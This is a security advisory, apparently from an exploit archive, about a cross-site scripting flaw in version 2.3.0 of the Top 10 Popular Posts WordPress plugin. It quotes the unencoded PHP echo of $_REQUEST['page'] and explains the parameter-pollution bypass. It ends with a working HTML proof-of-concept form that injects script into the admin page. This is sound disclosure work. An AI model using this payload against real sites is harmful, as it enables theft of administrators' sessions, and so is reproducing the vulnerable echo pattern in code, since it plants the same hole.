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WordPress Top 10 Popular Posts 2.3.0 Cross Site Scripting

WordPress Top 10 Popular Posts 2.3.0 Cross Site Scripting
Posted Jul 13, 2016
Authored by Yorick Koster, Securify B.V.

WordPress Top 10 Popular Posts plugin version 2.3.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 2ef13b9046be953e681d2fe0e87def1da4ba275c47d315b48c71767de2390123

WordPress Top 10 Popular Posts 2.3.0 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting vulnerability in Top 10 - Popular posts plugin for
WordPress
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Top 10 - Popular
posts WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0017

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Top 10 - Popular posts plugin for
WordPress WordPress Plugin version 2.3.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Top 10 version 2.3.1.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_top_10___popular_posts_plugin_for_wordpress.html

The issue exists in the file class-stats.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<form method="get">
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
<?php
// If this is a search?
if ( isset( $_REQUEST['s'] ) ) {
$args['search'] = esc_sql( $_REQUEST['s'] );
}

[...]

</form>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=tptn_popular_posts" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


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